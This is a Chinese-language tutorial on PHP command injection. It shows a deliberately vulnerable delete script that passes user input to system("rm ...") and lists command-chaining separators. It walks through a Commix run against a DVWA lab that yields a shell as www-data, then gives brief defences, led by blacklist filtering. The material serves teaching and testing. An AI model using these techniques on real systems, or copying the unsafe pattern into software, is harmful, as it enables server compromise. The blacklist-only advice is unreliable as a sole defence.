阐述php命令执行漏洞的原理,命令执行漏洞原理及工具 - 安全工具篇

Command Injection，即命令注入，是指通过提交恶意构造的参数破坏命令语句结构，从而达到执行恶意命令的目的。

如：delete.php文件内容

$file=$_GET['filename'];

system("rm $file");

?>

附： 常用命令执行符 ： && ，& ，||，|，;

返回结果：

Please specify the name of the file to delete

uid=33(www-data) gid=33(www-data) groups=33(www-data)

很容易可以想到使用BurpSuite进行迭代测试。今天我们不讲BurpSuite，介绍另外一个命令执行漏洞工具：Commix。

Commix工具

Commix是一个使用Python开发的漏洞测试工具，这个工具是为了方便的检测一个请求是否存在命令注入漏洞，并且对其进行测试，在其作者发布的最新版本中支持直接直接导入burp的历史记录进行检测，大大提高了易用性。

下面给出一个拿shell的示例，DVWA版本v1.0.7：

root@kali:~/Desktop/commix# ./commix.py --url="http://10.0.2.5/dvwa/vulnerabilities/exec/index.php" --data="ip=127.0.0.1&submit=submit" --cookie="security=medium;PHPSESSID=5dfc75a69587ea8030902ac2547c4bab"

__

___ ___ ___ ___ ___ ___ /\_\ __ _

/`___\ / __`\ /' __` __`\ /' __` __`\/\ \ /\ \/'\ v2.9-dev#13

/\ \__//\ \/\ \/\ \/\ \/\ \/\ \/\ \/\ \ \ \\/>

\ \____\ \____/\ \_\ \_\ \_\ \_\ \_\ \_\ \_\/\_/\_\ https://commixproject.com

\/____/\/___/ \/_/\/_/\/_/\/_/\/_/\/_/\/_/\//\/_/ (@commixproject)

+--

Automated All-in-One OS Command Injection and Exploitation Tool

Copyright © 2014-2019 Anastasios Stasinopoulos (@ancst)

+--

(!) Legal disclaimer: Usage of commix for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program.

[*] Checking connection to the target URL... [ SUCCEED ]

[*] Setting the POST parameter 'ip' for tests.

[*] Testing the (results-based) classic command injection technique... [ SUCCEED ]

[+] The POST parameter 'ip' seems injectable via (results-based) classic command injection technique.

[~] Payload: %26echo TDUYJF$((86+87))$(echo TDUYJF)TDUYJF

[?] Do you want a Pseudo-Terminal shell? [Y/n] > Y

Pseudo-Terminal (type '?' for available options)

commix(os_shell) > id

uid=33(www-data) gid=33(www-data) groups=33(www-data)

commix(os_shell) > pwd

/var/www/dvwa/vulnerabilities/exec

防止命令执行漏洞

1、过滤黑名单；

2、替换、转义关键字；

3、对于IP地址，可以以'.'为分界，将所有数字拆分到数组，单个判断是否为数字is_numeric()。